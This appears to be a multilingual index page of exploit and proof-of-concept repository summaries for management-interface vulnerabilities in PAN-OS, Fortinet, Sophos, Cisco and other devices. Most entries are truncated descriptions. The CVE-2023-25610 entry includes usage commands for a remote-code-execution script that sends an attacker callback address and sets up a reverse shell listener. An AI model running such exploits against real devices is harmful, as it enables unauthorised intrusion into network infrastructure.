cve-2024-0012-gui-poc

CVE-2024-0012 和 CVE-2024-9474 管理 Web 界面中的身份验证绕过 PAN-SA-2024-0015 和 Palo Alto PAN-OS 中经过认证的命令注入。 技术细节请参见博客文章。 漏洞利用作者 原始漏洞利用由 Sonny watchTowr @watchtowrcyber 编写。 代码和 GUI 实现以及额外优化由 Diego Collao 完成。...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - Bypass de Autenticación Esta vulnerabilidad permite a un atacante obtener acceso no autorizado al espacio de administración del firewall eludiendo la autenticación ☕️ En vivo : ....... actualizado...

CVE-2023-31853

CVE-2023-31853 Existe un ataque de cross-site scripting XSS reflejado en la interfaz de gestión basada en web del Cudy LT400. La página /cgi-bin/luci/admin/network/bandwidth tiene XSS reflejado a través del parámetro icon. Los métodos de explotación implican enviar una solicitud especialmente...

cve-2024-0012_9474-panos_authbypass_reproduction

CVE-2024-0012 / CVE-2024-9474 — PAN-OS Authentication Bypass → Privilege Escalation Chain CVE| Description| CVSS ---|---|--- CVE-2024-0012| PAN-OS Management Interface Authentication Bypass| 9.3 CVE-2024-9474| PAN-OS Privilege Escalation| 6.9 When chained, these vulnerabilities allow...

CVE-2020-13259

CVE-2020-13259 RAD SecFlow-1v 完全账户接管 PoC RAD SecFlow-1v 的基于 Web 的管理接口存在一个漏洞，可能允许未经验证的远程攻击者在受影响系统上实施跨站请求伪造 CSRF 攻击。 该漏洞是由于受影响设备对 Web UI 的 CSRF 保护不足所致。 攻击者可通过诱骗接口用户点击恶意链接来利用此漏洞。成功利用后，攻击者能够以受影响用户的权限等级执行任意操作。 该漏洞可与 CVE-2020-13260 结合利用。 概念验证 通过诱骗已认证用户打开包含 JS 代码的网页。 此攻击可执行基于 Web...

Tattile Camera < 1.181.5 - Default Login

Tattile Smart+, Vega, and Basic device families firmware = 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges. id: CVE-2026-26341 info: name: Tattile Camera 1.181.5 -...

FatPipe WARP/IPVPN/MPVPN - Authorization Bypass

FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain a missing authorization caused by lack of access control in the web management interface, letting remote attackers access sensitive URLs, exploit requires no authentication. id: CVE-2021-27858 info: name:...

FOGProject <= 1.5.10.1673 - Authentication Bypass

FOGProject version 1.5.10.1673 suffers from an authentication bypass vulnerability that allows unauthenticated users to access the management interface without proper authentication. This can lead to unauthorized access to system configuration, host management, and potentially database informatio...

CVE-2020-2038

CVE-2020-2038 Exploit para aprovechar la vulnerabilidad CVE-2020-2038. Según Palo Alto Networks: Una vulnerabilidad de inyección de comandos del sistema operativo en la interfaz de administración de PAN-OS que permite a administradores autenticados ejecutar comandos arbitrarios del sistema...

CVE-2025-0108-PoC

CVE-2025-0108 Prueba de Concepto PoC Este repositorio contiene una Prueba de Concepto PoC para la vulnerabilidad CVE-2025-0108 , que es un problema de omisión de autenticación en el software PAN-OS de Palo Alto Networks. Los scripts proporcionados aquí prueban la vulnerabilidad enviando una...

CVE-2022-40684

CVE-2022-40684 遵纪守法： 任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益 。 漏洞简介： Fortinet（飞塔）是一家全球知名的网络安全产品和安全解决方案提供商，其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中，可以通过使用备用路径或通道绕过身份验证，并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。 风险等级 ： 高 影响版本： FortiOS 版本...

CVE-2023-25610

CVE-2023-25610 FortiOS 管理界面中的堆内存下溢导致远程代码执行。 范围和限制 1. Fortinet 6.x 2. 基于 TLSv1.3，在其他 TLS 版本上可能存在差异 用法 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Listener EXP 使用 python 命令在端口 31337 上设置反弹 shell root@kitploit: ...

CVE-2024-7593

CVE-2024-7593 Descripción: CVE-2024-7593 es una vulnerabilidad crítica que afecta a múltiples productos de Pulse Secure, incluido Pulse Secure VPN. Esta vulnerabilidad permite a un atacante autenticado con acceso a la interfaz de administración ejecutar comandos arbitrarios en el servidor afectad...

CVE-2025-70545

Router PPC Belden ONT 2K05X Autor : Jeyabalaji Código base del producto afectado: PPC 2K05X Router - V1.1.9206L Probado en : Windows 11 CVE : CVE-2025-70545 Descripción: Existe una vulnerabilidad de cross-site scripting XSS almacenado en la interfaz de administración web del router PPC Belden ONT...

Cisco VPN Routers - Unauthenticated Arbitrary File Upload

A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement...

Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection

The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among...

cve-2026-24858

CVE-2026-24858 PoC helper CVE-2026-24858 - Administrative FortiCloud SSO authentication bypass This repository contains a conservative Python helper for scanning Fortinet web management indicators and an optional explicit payload sender. The exploit/payload sender is disabled by default and...

CVE-2026-73769

A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system...

CVE-2026-73786

A vulnerability in the web-based management interface of CPPM could allow an unauthenticated remote attacker to conduct a Denial-of-Service DoS attack. Successful exploitation could allow an attacker to cause instability and degrade performance of the vulnerable CPPM server...

EUVD-2026-75123

A vulnerability in the web-based management interface of CPPM could allow an unauthenticated remote attacker to conduct a Denial-of-Service DoS attack. Successful exploitation could allow an attacker to cause instability and degrade performance of the vulnerable CPPM server...